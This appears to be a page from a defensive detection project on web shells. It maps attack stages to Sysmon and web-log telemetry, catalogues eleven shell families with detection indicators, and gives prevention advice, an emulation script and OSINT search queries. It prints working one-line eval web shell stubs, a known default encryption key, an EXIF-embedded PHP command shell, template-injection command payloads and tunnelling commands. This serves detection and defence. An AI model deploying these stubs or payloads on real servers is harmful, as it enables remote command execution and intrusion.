Attack Chokepoints 3 invariant stages
Each stage is an invariant condition the attacker must satisfy, regardless of tool, variant, or threat actor. Detection at any stage breaks the chain.
1 Shell Deployment ▶
- Write access to a web-accessible directory on the target server (via file upload, path traversal, CVE exploitation, or CMS compromise)
- OR ability to modify web server configuration (for IIS native module approach)
- Web server must execute the shell's scripting language (PHP, ASP.NET, JSP, etc.)
- HTTP/HTTPS access to the deployed shell from attacker infrastructure
- Server must have OS command execution capability (not hardened to deny shell spawning)
- Sysmon Event ID 11 (File Created)
- IIS / Apache / Nginx access logs
2 Shell Execution ▶
- Sysmon Event ID 1 (Process Creation)
- Windows Security Event ID 4688 (Process Creation)
3 Command Execution / Exfiltration ▶
- Sysmon Event ID 1 (Process Creation with CommandLine)
- Sysmon Event ID 3 (Network Connection)
Variations 11 variants tracked
Tools and methods that exploit this chokepoint. The list grows. The chokepoint doesn't change.
China Chopper 2013 Active ▶
# Server stub (ASP.NET - one line):
<%@ Page Language="Jscript" %><%eval(Request.Item["password"],"unsafe");%>
# Server stub (PHP - one line):
<?php @eval($_POST['password']);?>
# Client sends POST with command in password parameter
- Sysmon EID 1: w3wp.exe spawning cmd.exe or powershell.exe
- Web logs: POST requests to small .aspx/.php files with base64 body
- Sysmon EID 11: Small script file written to web root
Godzilla 2020-Q4 Active ▶
# Server stub requires password AND encryption key:
# ASP.NET variant with AES-encrypted command execution:
string key = "3c6e0b8a9c15224a";
// AES-encrypted C2 traffic with dual-key auth
- Sysmon EID 1: w3wp.exe spawning cmd.exe (POST-triggered)
- Web logs: Encrypted POST bodies to .aspx/.jsp files
- Network: AES-encrypted HTTP traffic to single endpoint
Behinder (Ice Scorpion) 2020-Q1 Active ▶
# PHP server stub (AES-encrypted C2):
<?php @error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;...eval()...?>
# Default AES key: e45e329feb5d925b (MD5 of "rebeyond", first 16 chars)
# Client sends AES-encrypted commands
- Sysmon EID 1: w3wp.exe / httpd spawning cmd.exe or powershell.exe
- Web logs: POST requests with AES-encrypted bodies (no plaintext visible)
- Network: Randomized User-Agent strings per request from same source
AntSword 2019 Active ▶
# PHP server stub (minimal):
<?php @eval($_POST['ant']);?>
# Or obfuscated: <?php $V='ant';$$V=@$_POST[$V];eval($$V);?>
# Client sends base64-encoded PHP in POST parameter
- Sysmon EID 1: w3wp.exe / httpd spawning cmd.exe (POST-triggered)
- Web logs: POST with base64 body to small script file
Neo-reGeorg / reGeorg 2017 Active ▶
# HTTP tunnel - not for command execution but traffic proxying:
python3 neoreg.py generate -k <password>
python3 neoreg.py -k <password> -u http://target/tunnel.aspx -p 1080
# Creates SOCKS5 proxy on attacker localhost:1080
- Web logs: High volume of POST requests to single ASPX/PHP file
- Sysmon EID 3: w3wp.exe making connections to internal RFC1918 addresses
LEMURLOOT (MOVEit) 2023-Q2 Active ▶
# human2.aspx - masquerades as legitimate MOVEit file
# Accepts commands via X-siLock-Comment header
# Deployed via CVE-2023-34362 SQLi zero-day
- Sysmon EID 11: human2.aspx created in MOVEit web directory
- Sysmon EID 1: w3wp.exe spawning cmd.exe after POST to human2.aspx
- Web logs: Requests with X-siLock-Comment header containing commands
- SQL logs: Anomalous queries from MOVEit application
GLASSTOKEN / BUSHWALK (Ivanti) 2024-Q1 Active ▶
# BUSHWALK - Perl CGI on Ivanti Connect Secure:
# Deployed to /home/perl/DSLogConfig.pm
# GLASSTOKEN - Python CGI on Ivanti:
# Injected into legitimate Python CGI files
# Uses Ivanti's built-in Perl/Python environments
- Ivanti logs: Anomalous CGI execution in /home/perl/ or /home/python/
- File integrity: Modified .pm or .py files in Ivanti web directories
SALTWATER / SEASPY (Barracuda ESG) 2023-Q2 Active ▶
# SALTWATER - trojanized Barracuda SMTP daemon module
# SEASPY - passive backdoor monitoring port 25, activates on magic packet
# Both persist across firmware updates via modified /etc/init.d/
- File integrity: Modified modules in Barracuda firmware directories
- Network: Anomalous SMTP traffic patterns on port 25
- Process: Unexpected child processes from Barracuda SMTP daemon
Fileless IIS Native Modules 2022-Q1 Active ▶
# Installed as native IIS module (C++ DLL):
appcmd.exe install module /name:"MyModule" /image:"C:\path\to\malicious.dll"
# Or via web.config: <modules><add name="MyModule" .../></modules>
# No script file on disk - runs in-process with w3wp.exe
- Sysmon EID 7: Unusual DLL loaded by w3wp.exe
- IIS logs: appcmd.exe install module commands
- Registry: New modules in HKLM\SOFTWARE\Microsoft\InetSrv\Modules
Polyglot / Steganographic Shells 2020-Q1 Active ▶
# PHP embedded in image EXIF metadata:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# Accessed via LFI: http://target/uploads/image.jpg?cmd=whoami
- Sysmon EID 11: Image file uploaded to web root with PHP magic bytes
- Web logs: GET/POST to image files with query parameters
- Sysmon EID 1: httpd/php-fpm spawning cmd.exe after request to image
Server-Side Template Injection (SSTI) Webshells 2019 Active ▶
# Jinja2: {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
# Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
# FreeMarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
- Web logs: Template syntax in request parameters ({{ }}, <# >, etc.)
- Sysmon EID 1: Web server spawning cmd.exe/sh after template rendering
Detection Strategy
Rules organized by the chokepoint stage they detect. Each stage has one or more rules at different maturity levels.
Prevention Opportunities
Web shells persist because web server processes are permitted to write files to their own directories and spawn child OS interpreters. Restricting those two behaviors eliminates the chokepoint regardless of the vulnerability used for initial access.
Restrict web server processes from spawning OS interpreters as child processes
Eliminates the primary web shell execution chokepoint; even if a shell file is written to disk, it cannot spawn interactive processes.
Apply strict filesystem write restrictions to web-accessible directories
Prevents shell files from being written to directories served by the web server; eliminates the delivery mechanism regardless of which vulnerability is exploited.
Deploy a Web Application Firewall (WAF) with rules for shell upload patterns
Provides a network-layer control that can block web shell uploads before they reach the server, complementing host-based restrictions.
Raw Log Samples 4 samples
Real-world log events produced by this technique and which Sigma rules they trigger.
EID 11 Sysmon ASPX web shell file created in IIS web root by non-deployment process ▶
EID 1 Sysmon cmd.exe spawned by w3wp.exe after HTTP request to the web shell ▶
EID 1 Sysmon PowerShell with encoded command spawned by w3wp.exe. Encoded web shell execution ▶
EID 3 Sysmon Outbound reverse shell / download connection from w3wp.exe child process ▶
Emulation
ATT&CK: T1505.003 Simulates web shell file creation, interpreter spawn with recon commands, and outbound connection powershell ▶
#Requires -Version 5.1
# MITRE ATT&CK: T1505.003 — Server Software Component: Web Shell
# Simulates web shell write to web root and subsequent command execution via HTTP.
[CmdletBinding()]
param(
[string]$WebRoot = (Join-Path $env:TEMP 'wwwroot-emulation'),
[string]$ShellExtension = '.aspx',
[switch]$CleanupOnly
)
Set-StrictMode -Version Latest
$ErrorActionPreference = 'Continue'
$ShellName = "cmd$(Get-Random -Maximum 9999)$ShellExtension"
$ShellPath = Join-Path $WebRoot $ShellName
$C2Endpoint = 'https://example.com'
function Write-Step ([string]$Msg) { Write-Host "[*] $Msg" -ForegroundColor Cyan }
function Write-Ok ([string]$Msg) { Write-Host "[+] $Msg" -ForegroundColor Green }
function Write-Warn ([string]$Msg) { Write-Host "[!] $Msg" -ForegroundColor Yellow }
function Remove-Artefacts {
if (Test-Path $ShellPath) { Remove-Item $ShellPath -Force -ErrorAction SilentlyContinue }
if (Test-Path $WebRoot -and (Get-ChildItem $WebRoot -ErrorAction SilentlyContinue).Count -eq 0) {
Remove-Item $WebRoot -Force -ErrorAction SilentlyContinue
}
Write-Ok "Artefacts removed"
}
if ($CleanupOnly) { Remove-Artefacts; exit 0 }
Write-Host ""
Write-Host "=== Web Shell Emulation ===" -ForegroundColor Magenta
Write-Host " T1505.003 | Detection Chokepoints Project" -ForegroundColor DarkGray
Write-Host ""
Write-Step "Step 1/3 — Creating web shell file in web-accessible directory"
Write-Verbose " Path: $ShellPath"
# Ensure web root exists
if (-not (Test-Path $WebRoot)) {
New-Item -ItemType Directory -Path $WebRoot -Force | Out-Null
Write-Ok "Created test web root: $WebRoot"
}
# Write a safe marker file (NOT an executable web shell — just text content)
$ShellContent = @"
<%@ Page Language="C#" %>
<!-- Web Shell Emulation Marker — NOT executable, for detection testing only -->
<!-- Created by Detection Chokepoints emulation script -->
<!-- T1505.003 — File created at: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') -->
<% Response.Write("Detection test"); %>
"@
Set-Content -Path $ShellPath -Value $ShellContent -Encoding UTF8
Write-Ok "Web shell marker created: $ShellPath"
Write-Ok "Sysmon EID 11 generated — extension=$ShellExtension, path contains web root pattern"
Start-Sleep -Milliseconds 400
Write-Step "Step 2/3 — Simulating web server → cmd.exe execution chain"
Write-Verbose " Real pattern: w3wp.exe → cmd.exe (web server spawns interpreter after HTTP request)"
Write-Verbose " Simulated: powershell.exe → cmd.exe (same child process, different parent)"
Write-Verbose " Note: Hunt/Analyst rules check ParentImage=w3wp.exe specifically"
Write-Verbose " For w3wp parent: deploy in IIS and access via HTTP (see below)"
# Run recon commands that web shells execute post-exploitation
$reconCommands = @(
'whoami',
'hostname',
'ipconfig /all',
'net user',
'net localgroup administrators'
)
foreach ($cmd in $reconCommands) {
$result = cmd.exe /c $cmd 2>&1 | Select-Object -First 3
Write-Ok "cmd /c $cmd`: $($result[0])"
}
# Also run an encoded command (Analyst rule trigger)
$encodedPayload = [Convert]::ToBase64String(
[System.Text.Encoding]::Unicode.GetBytes('Get-ChildItem C:\inetpub\wwwroot -ErrorAction SilentlyContinue')
)
powershell.exe -NonInteractive -NoProfile -EncodedCommand $encodedPayload 2>&1 | Out-Null
Write-Ok "Encoded command executed from cmd context — Analyst rule EID 1 pattern matched"
Start-Sleep -Milliseconds 400
Write-Step "Step 3/3 — Outbound HTTP connection from spawned interpreter"
Write-Verbose " In real scenario: w3wp.exe child makes outbound connection to C2"
try {
$resp = Invoke-WebRequest -Uri $C2Endpoint -Method HEAD -TimeoutSec 10 `
-UseBasicParsing -ErrorAction Stop
Write-Ok "Outbound connection (HTTP $($resp.StatusCode)) from interpreter — Sysmon EID 3 generated"
} catch {
Write-Warn "Network request failed (EID 3 may still have fired for the TCP attempt): $_"
}
Write-Host ""
Write-Step "Cleaning up artefacts"
Remove-Artefacts
Write-Host ""
Write-Host "=== Emulation Complete ===" -ForegroundColor Magenta
Write-Host ""
Write-Host "Expected detections:" -ForegroundColor White
Write-Host " [Research] Sysmon EID 1 — any child process of web server" -ForegroundColor DarkCyan
Write-Host " [Hunt] EID 11 ($ShellExtension in web path) + EID 1 (cmd.exe/powershell.exe child)" -ForegroundColor DarkYellow
Write-Host " [Analyst] EID 11 (web shell ext) + EID 1 (-enc or recon cmd) + EID 3 (outbound)" -ForegroundColor DarkGreen
Write-Host ""
Write-Host "For w3wp.exe parent chain (IIS-specific Hunt/Analyst rules):" -ForegroundColor DarkGray
Write-Host " 1. Install IIS: Enable-WindowsOptionalFeature -Online -FeatureName IIS-WebServer"
Write-Host " 2. Copy shell marker to C:\inetpub\wwwroot\$ShellName"
Write-Host " 3. For ASPX execution: rename to .aspx, enable ASP.NET in IIS"
Write-Host " 4. Use a benign ASPX that runs: Response.Write(new System.Diagnostics.Process(){...}.StandardOutput.ReadToEnd())"
Write-Host " 5. HTTP request to http://localhost/$ShellName generates authentic w3wp.exe → cmd.exe"
Write-Host ""
Write-Host "For Linux (Apache/nginx) parent chain:" -ForegroundColor DarkGray
Write-Host " Use companion emulate.sh (spawn bash from httpd/nginx context via PHP)"
Write-Host ""
OSINT Pivots
http.title:"WSO" OR http.title:"b374k" OR http.title:"c99" OR http.title:"FilesMan" OR http.title:"Antak Webshell"
page.title:"WSO" OR filename:shell.php OR filename:webshell.php OR filename:cmd.aspx
tag:webshell positives:0 type:text
services.http.response.body: "eval(base64_decode" and services.http.response.status_code: 200